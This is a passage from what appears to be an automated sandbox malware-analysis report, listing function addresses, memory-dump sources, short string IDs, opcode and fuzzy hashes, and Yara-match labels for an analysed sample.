                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1717984340-0
                                                                                                                                                        • Opcode ID: 8e29f02fa217c3f869f9ec046123d8252abfd98e90d46f6eb7017e2f35bc657a
                                                                                                                                                        • Instruction ID: 4750a1344b44a36b77dfbc00b238777da528c6f3bc1f6f84b5cd1fb13c51ef23
                                                                                                                                                        • Opcode Fuzzy Hash: 8e29f02fa217c3f869f9ec046123d8252abfd98e90d46f6eb7017e2f35bc657a
                                                                                                                                                        • Instruction Fuzzy Hash: 0A411A31601206EFDB628FE5C844ABA7BB9FF45310F144169F855A71A1DBF88D01D761
                                                                                                                                                        Function 0136CA91 Relevance: 5.1, Strings: 4, Instructions: 135COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: E$M$N$U
                                                                                                                                                        • API String ID: 0-146571782
                                                                                                                                                        • Opcode ID: 9cef2483cb446944de778ccb96eddfa8cc56ecd2ce10d7be4491affdafdfc6b2
                                                                                                                                                        • Instruction ID: dd9a383987228a5a366b660f81ac53485c1eec20c253a1979b08614321909c35
                                                                                                                                                        • Opcode Fuzzy Hash: 9cef2483cb446944de778ccb96eddfa8cc56ecd2ce10d7be4491affdafdfc6b2
                                                                                                                                                        • Instruction Fuzzy Hash: 5741E6F2EC071926EF34A6688C06FEF326CAF30705F004485ED19B61C1FAB967154A95
                                                                                                                                                        Function 0136CA98 Relevance: 5.1, Strings: 4, Instructions: 133COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: E$M$N$U
                                                                                                                                                        • API String ID: 0-146571782
                                                                                                                                                        • Opcode ID: 721ac8740d8ddf057633d4c7c97246d2937fe1373b0fa118d6f454a0a4df7012
                                                                                                                                                        • Instruction ID: 85b71bb86353737b7da9b5be5dddd0c0cf8b40fdc0f9274f64dc320ea1740a81
                                                                                                                                                        • Opcode Fuzzy Hash: 721ac8740d8ddf057633d4c7c97246d2937fe1373b0fa118d6f454a0a4df7012
                                                                                                                                                        • Instruction Fuzzy Hash: CE41D7F2DC170966FF34A6648C0AFEF325CAF30705F004585EE19B61C1FA7966154B95
                                                                                                                                                        Function 013AE250 Relevance: 5.1, Strings: 4, Instructions: 121COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .dll$.dll$WAt$bIW
                                                                                                                                                        • API String ID: 0-4102820332
                                                                                                                                                        • Opcode ID: fa4f505e4a0efd3da93d7aa5d8a69d7105bfb043745cc51a4381934ed8722bbb
                                                                                                                                                        • Instruction ID: 041ef6e0c1e64575190a6967616c986bca422d30768f49e00126235dee5c8163
                                                                                                                                                        • Opcode Fuzzy Hash: fa4f505e4a0efd3da93d7aa5d8a69d7105bfb043745cc51a4381934ed8722bbb
                                                                                                                                                        • Instruction Fuzzy Hash: 475147B0C092699EDB629F559C00BEDBBB8FF16204F4484E9C49CBB205D7782A85CF91
                                                                                                                                                        Function 01371AF8 Relevance: 5.1, Strings: 4, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: U$k$n$o
                                                                                                                                                        • API String ID: 0-3751959358
                                                                                                                                                        • Opcode ID: 12ed70a6aa097967c58e13bf51c672d0e6adb19ddfbed3ea7998ec4a50f6b72f
                                                                                                                                                        • Instruction ID: 805bd883a9bf013f75bac4c4e1c175335f2c44996e0fd9c1a919120ce8079574
                                                                                                                                                        • Opcode Fuzzy Hash: 12ed70a6aa097967c58e13bf51c672d0e6adb19ddfbed3ea7998ec4a50f6b72f
                                                                                                                                                        • Instruction Fuzzy Hash: 2F41B7F6900709AAD724EFA9DC81FEBB3ADBF54304F00451DE62997140EB78A654CBA1
                                                                                                                                                        Function 0136A0E8 Relevance: 5.1, Strings: 4, Instructions: 117COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $$: $Host
                                                                                                                                                        • API String ID: 0-1650409646
                                                                                                                                                        • Opcode ID: e68d10b908af41e8fd4de5fe6f58ea3c4af362613434985338e90a8ab634af52
                                                                                                                                                        • Instruction ID: 7da2d77ff948e62e9f1dbeb31d1c3bce3d795e5a780fd8bd6d32c853c5cc2edd
                                                                                                                                                        • Opcode Fuzzy Hash: e68d10b908af41e8fd4de5fe6f58ea3c4af362613434985338e90a8ab634af52
                                                                                                                                                        • Instruction Fuzzy Hash: 834183B1A00219BBEB10DB58CC40EEAB7BCFF55314F048269E918A7244E775E945CBE1
                                                                                                                                                        Function 013984F0 Relevance: 5.1, Strings: 4, Instructions: 117COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $$: $Host
                                                                                                                                                        • API String ID: 0-1650409646
                                                                                                                                                        • Opcode ID: e68d10b908af41e8fd4de5fe6f58ea3c4af362613434985338e90a8ab634af52
                                                                                                                                                        • Instruction ID: 78d8f6a73d05bc72b002c38dda8a79f2f67a0a5d66616ae0034837f7ad705597
                                                                                                                                                        • Opcode Fuzzy Hash: e68d10b908af41e8fd4de5fe6f58ea3c4af362613434985338e90a8ab634af52
                                                                                                                                                        • Instruction Fuzzy Hash: 394176B2A00209BBEB14DF98DC40EEBB77CEF55318F448259E90897640E775E945C7E1
                                                                                                                                                        Function 013720D8 Relevance: 5.1, Strings: 4, Instructions: 116COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$0$9$n
                                                                                                                                                        • API String ID: 0-1627007382
                                                                                                                                                        • Opcode ID: bff4733dc83fac8aa5e11687932436d9fc864abf2a18e5084568427116f6edd1
                                                                                                                                                        • Instruction ID: b678a73544bb7fbb495f3212fe75c654f141cd35b8fb915fb292a12b789df2b9
                                                                                                                                                        • Opcode Fuzzy Hash: bff4733dc83fac8aa5e11687932436d9fc864abf2a18e5084568427116f6edd1
                                                                                                                                                        • Instruction Fuzzy Hash: B1319576D012096ADB20EBA8DC45FEF77F8FF48304F40056AE608A6180EB78D6408BD5
                                                                                                                                                        Function 013A04E0 Relevance: 5.1, Strings: 4, Instructions: 116COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$0$9$n
                                                                                                                                                        • API String ID: 0-1627007382
                                                                                                                                                        • Opcode ID: bff4733dc83fac8aa5e11687932436d9fc864abf2a18e5084568427116f6edd1
                                                                                                                                                        • Instruction ID: d7f3b9b851ec71ff8b9c0b30bd56a7524a756ad5800143db7d67cc9b8853ba98
                                                                                                                                                        • Opcode Fuzzy Hash: bff4733dc83fac8aa5e11687932436d9fc864abf2a18e5084568427116f6edd1
                                                                                                                                                        • Instruction Fuzzy Hash: 2931F771D01309AAEB10EFA8DC45FFF73B8EF48314F840569F608A6181EB74A6448BE5
                                                                                                                                                        Function 0139D083 Relevance: 5.1, Strings: 4, Instructions: 112COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: b$o$r$s
                                                                                                                                                        • API String ID: 0-1188782201
                                                                                                                                                        • Opcode ID: 16d12f0a17ea6f7cfdb0661e29c9cb8462f3e05995a87b12214cf7c1328fa9fc
                                                                                                                                                        • Instruction ID: 4f2d506123fe8ddd8f4147518bf866a3e129eccab68b0afdd0410d91762cd4b6
                                                                                                                                                        • Opcode Fuzzy Hash: 16d12f0a17ea6f7cfdb0661e29c9cb8462f3e05995a87b12214cf7c1328fa9fc
                                                                                                                                                        • Instruction Fuzzy Hash: BC31BBF1A403057AFB10BFE48C82FEF76ACDF51748F444118F7086A192DAF4650587A5
                                                                                                                                                        Function 0139D090 Relevance: 5.1, Strings: 4, Instructions: 109COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: b$o$r$s
                                                                                                                                                        • API String ID: 0-1188782201
                                                                                                                                                        • Opcode ID: a9c2fa2faa45fbfbfa661911d91e3c8a0ad357b8f5ea0153b994c380223f23a3
                                                                                                                                                        • Instruction ID: 8fec07deaad937db1ff5d4df566dbecd428e6ec311ee762e976afd382c3849dc
                                                                                                                                                        • Opcode Fuzzy Hash: a9c2fa2faa45fbfbfa661911d91e3c8a0ad357b8f5ea0153b994c380223f23a3
                                                                                                                                                        • Instruction Fuzzy Hash: 733199F1A403157AFB10AFE88C82FEF76ACDF55B48F444118FB086A192DBF4690587A5
                                                                                                                                                        Function 01374458 Relevance: 5.1, Strings: 4, Instructions: 93COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/
                                                                                                                                                        • API String ID: 0-2899491479
                                                                                                                                                        • Opcode ID: c0d2301731c46d6cf5f69adc6007bf7c7156ab441228a8473e765ac0251a3416
                                                                                                                                                        • Instruction ID: 27aefa45488c5f562990b5dde30a438e0cc920600decd5a79c02b32f450db4e0
                                                                                                                                                        • Opcode Fuzzy Hash: c0d2301731c46d6cf5f69adc6007bf7c7156ab441228a8473e765ac0251a3416
                                                                                                                                                        • Instruction Fuzzy Hash: 513184F680010DB6DB20FBA8ED41DEF737CBF94314F0089A5AA14A6141EA75A7548BE6
                                                                                                                                                        Function 013A2860 Relevance: 5.1, Strings: 4, Instructions: 93COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/
                                                                                                                                                        • API String ID: 0-2899491479
                                                                                                                                                        • Opcode ID: c0d2301731c46d6cf5f69adc6007bf7c7156ab441228a8473e765ac0251a3416
                                                                                                                                                        • Instruction ID: f8bd19d5c533325825782c1b985a947ae0b7dce9899378809f8335ff86180516
                                                                                                                                                        • Opcode Fuzzy Hash: c0d2301731c46d6cf5f69adc6007bf7c7156ab441228a8473e765ac0251a3416
                                                                                                                                                        • Instruction Fuzzy Hash: 6A31A4F681010977DB14EFE8DD41DEF733DDF94308F8085A8A60896502FA7197588BB6
                                                                                                                                                        Function 0136E890 Relevance: 5.1, Strings: 4, Instructions: 72COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: g$i$i$l
                                                                                                                                                        • API String ID: 0-114883354
                                                                                                                                                        • Opcode ID: ecf1dda51459035a3333d1aebd5450d046524bd599474606f02732f14d9b5c86
                                                                                                                                                        • Instruction ID: c2167fe0d3d276fa8201cfceec7f9660ea99a3ea636ebe59e24eab7cc65fad26
                                                                                                                                                        • Opcode Fuzzy Hash: ecf1dda51459035a3333d1aebd5450d046524bd599474606f02732f14d9b5c86
                                                                                                                                                        • Instruction Fuzzy Hash: E211D5B1D11219AADB20EFADEC04BAF7BBCFF55715F004029E914A7240E77966108BE6
                                                                                                                                                        Function 0136B3F8 Relevance: 5.1, Strings: 4, Instructions: 71COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: [$m$t$y
                                                                                                                                                        • API String ID: 0-3854059060
                                                                                                                                                        • Opcode ID: c33c5b2977ca629f937b330bbd0ad679fd3e2b84ff0c363e70a006317e076c36
                                                                                                                                                        • Instruction ID: c957635936e317ea70181b68c48fa9ad0983607f0d8bd17690f35d3fa5583c92
                                                                                                                                                        • Opcode Fuzzy Hash: c33c5b2977ca629f937b330bbd0ad679fd3e2b84ff0c363e70a006317e076c36
                                                                                                                                                        • Instruction Fuzzy Hash: 3321BDB59007049FC724DF59D4448ABBBF9FF88310F10866EE85A9B310E7B5EA418BD0
                                                                                                                                                        Function 01399800 Relevance: 5.1, Strings: 4, Instructions: 71COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: [$m$t$y
                                                                                                                                                        • API String ID: 0-3854059060
                                                                                                                                                        • Opcode ID: c33c5b2977ca629f937b330bbd0ad679fd3e2b84ff0c363e70a006317e076c36
                                                                                                                                                        • Instruction ID: 5c7d621098b8262184cb9ca11c1b7979bf2decb93e90dca6c0d15b091347aa28
                                                                                                                                                        • Opcode Fuzzy Hash: c33c5b2977ca629f937b330bbd0ad679fd3e2b84ff0c363e70a006317e076c36
                                                                                                                                                        • Instruction Fuzzy Hash: DF2100B19003049FC724DF9DD4449ABBBF9EF88314F40866EE8499B721E7B1EA458BD0
                                                                                                                                                        Function 0136E898 Relevance: 5.1, Strings: 4, Instructions: 64COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: g$i$i$l
                                                                                                                                                        • API String ID: 0-114883354
                                                                                                                                                        • Opcode ID: 993d7e17d669ccccb87328e6b7d3fd37d5176ec63e16f2a6e2e4c76de22c2fa5
                                                                                                                                                        • Instruction ID: ceb4bf93e32714b64a343bd141bea19b3996c02160a2a90e050478d2c0e4df27
                                                                                                                                                        • Opcode Fuzzy Hash: 993d7e17d669ccccb87328e6b7d3fd37d5176ec63e16f2a6e2e4c76de22c2fa5
                                                                                                                                                        • Instruction Fuzzy Hash: E61181B1911219AAEB20EFA9DC05BAF7BBCBF55715F004029E904A7240D779A61087E6
                                                                                                                                                        Function 0136B3F0 Relevance: 5.1, Strings: 4, Instructions: 58COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: [$m$t$y
                                                                                                                                                        • API String ID: 0-3854059060
                                                                                                                                                        • Opcode ID: 07b50bf3520f0e216190783298281f307b1e10e8e8969a9698881781fe611d47
                                                                                                                                                        • Instruction ID: f38aa14d4d5286cc5cd340fbae653036b9e9f4a2a7af647547b753f5530ae646
                                                                                                                                                        • Opcode Fuzzy Hash: 07b50bf3520f0e216190783298281f307b1e10e8e8969a9698881781fe611d47
                                                                                                                                                        • Instruction Fuzzy Hash: 6811ACB49007009FC724CF5AD44489ABBF5FF88310B10C66EE49A9B725E3B1E905CB84
                                                                                                                                                        Function 013997F8 Relevance: 5.1, Strings: 4, Instructions: 58COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: [$m$t$y
                                                                                                                                                        • API String ID: 0-3854059060
                                                                                                                                                        • Opcode ID: 07b50bf3520f0e216190783298281f307b1e10e8e8969a9698881781fe611d47
                                                                                                                                                        • Instruction ID: 27e989f095c81590c765bd27e0abcb6eeda1817395428593d462be7fd1ea0077
                                                                                                                                                        • Opcode Fuzzy Hash: 07b50bf3520f0e216190783298281f307b1e10e8e8969a9698881781fe611d47
                                                                                                                                                        • Instruction Fuzzy Hash: E7119A74900700DFC724CF5AD44499ABBF1EF88310B50866EE48A8B721E3B1E945CB94
                                                                                                                                                        Function 013804B8 Relevance: 5.0, Strings: 4, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: -$A$I$M
                                                                                                                                                        • API String ID: 0-1664541526
                                                                                                                                                        • Opcode ID: 7b3cc152e06750ea6291ca1f426f086cad49b6574cd1db7f416362b8f267c112
                                                                                                                                                        • Instruction ID: 2a76a4407979e3576fb712053a237ec96a078dc62cc4bbf0457bc114de3ab440
                                                                                                                                                        • Opcode Fuzzy Hash: 7b3cc152e06750ea6291ca1f426f086cad49b6574cd1db7f416362b8f267c112
                                                                                                                                                        • Instruction Fuzzy Hash: 13F054B2911218AADB10AA98A8057EE77ECBB04318F404196EC1896241E7B55A594BD1
                                                                                                                                                        Function 013804B3 Relevance: 5.0, Strings: 4, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: -$A$I$M
                                                                                                                                                        • API String ID: 0-1664541526
                                                                                                                                                        • Opcode ID: be5a4b0aea2f39a8d443761bf9de90e89636352c3842fd162db3ae3c8caa6cd1
                                                                                                                                                        • Instruction ID: 83bfe9926cbea694506cfee888b938d1fb6626aaf76935e8b2b783f6facf246a
                                                                                                                                                        • Opcode Fuzzy Hash: be5a4b0aea2f39a8d443761bf9de90e89636352c3842fd162db3ae3c8caa6cd1
                                                                                                                                                        • Instruction Fuzzy Hash: 3CF0BBB1845205ADDB14DF989905BEE7BE8FF11319F404059D86456142E3B546098B91
                                                                                                                                                        Function 013AE8C0 Relevance: 5.0, Strings: 4, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: -$A$I$M
                                                                                                                                                        • API String ID: 0-1664541526
                                                                                                                                                        • Opcode ID: 7b3cc152e06750ea6291ca1f426f086cad49b6574cd1db7f416362b8f267c112
                                                                                                                                                        • Instruction ID: c783c7d3cd7c45310f11ea02c5b101763c0aef55992f1d38d8dc0aeda35ed92d
                                                                                                                                                        • Opcode Fuzzy Hash: 7b3cc152e06750ea6291ca1f426f086cad49b6574cd1db7f416362b8f267c112
                                                                                                                                                        • Instruction Fuzzy Hash: 08F089B5D0021876DB40EAD96C457ED77ECEB54318F4041AAEC0C97242E7F55A5847D1